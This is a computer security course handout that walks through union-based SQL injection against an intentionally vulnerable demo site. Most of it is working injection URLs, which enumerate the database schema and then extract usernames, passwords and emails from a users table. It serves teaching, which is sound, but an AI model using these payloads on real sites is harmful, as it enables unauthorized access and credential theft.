CS 331: Computer Security and Information Assurance
Case Study: A SQL Injection Hacking

1 Background

The easiest way to test whether or not a website is vulnerable to SQL injection, is just using your browser. When you see a link looks like this: php?id=, or asp?uid=, or jsp?index=, etc. Such as: http://testphp.vulnweb.com/artists.php?artist=1 // an intentionally vulnerable website.

Append a single quote (i.e., ')' at the end of url, and press 'Enter' on your keyboard. If you see some database error message shown, it means that website is vulnerable to SQL injection.

This is because the internal query might be something like:
Select * from tablename where artist=<input>
Therefore:
Select * from tablename where artist=1 makes sense
Select * from tablename where artist=1' doesn’t make sense

A vulnerable website would pass user input to the database. A secure website would simply ignore that single quote, or anything after that number 1; and make sure that user input is valid. Anything invalid should not be passed to the database.

2 Hacking Instructions

1. Three SQL keywords will be used: order by, select, and union.
   The ORDER BY keyword is used to sort the result-set.
   The SELECT statement is used to select data from a database.
   The UNION operator combines the result of two or more SELECT statements.
   Go to http://www.w3schools.com/sql/default.asp, run these commands and see what 'order by' means.
   SELECT * FROM [Customers] order by country
   SELECT * FROM [Customers] order by city

2. Find out the number of columns.
   http://testphp.vulnweb.com/artists.php?artist=1 order by 1--
Conclusion: This table has 3 columns. (Try this on w3schools.com if you don’t understand.)

3. Run this on w3schools.com and see what union select means.
   SELECT * FROM [categories] union select * from [shippers]
   SELECT * FROM [categories] union select 1,2,3,4,5,6,7

4. Figure out what column is getting printed/displayed.
   http://testphp.vulnweb.com/artists.php?artist=1 union select 1,2,3--
   http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,2,3--

   Conclusion: The 3rd column is getting printed.

5. Try default/global functions.
   http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,2,database()--
   http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,2,version()--
   http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,2,user()--
   http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,2,@@hostname--

6. Extract table name(s) from the database.
   http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--

   Conclusion: Table names: artists,carts,categ,featured,guestbook,pictures,products,users

7. Extract column name(s) from the table.
   http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’artists’--

   Conclusion: Column names in the table 'artists': artist_id,aname,adesc.

   http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’--

   Conclusion: Column names in the table 'users': uname,pass,cc,address,email,name,phone,cart.

8. Extract data from the columns

   http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,2,group_concat(uname) from users
   http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,2,group_concat(pass) from users
   http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,2,group_concat(email) from users
3 Reference

“Basic Union Based Injection”:
http://securityidiots.com/Web-Pentest/SQL-Injection/Basic-Union-Based-SQL-Injection.html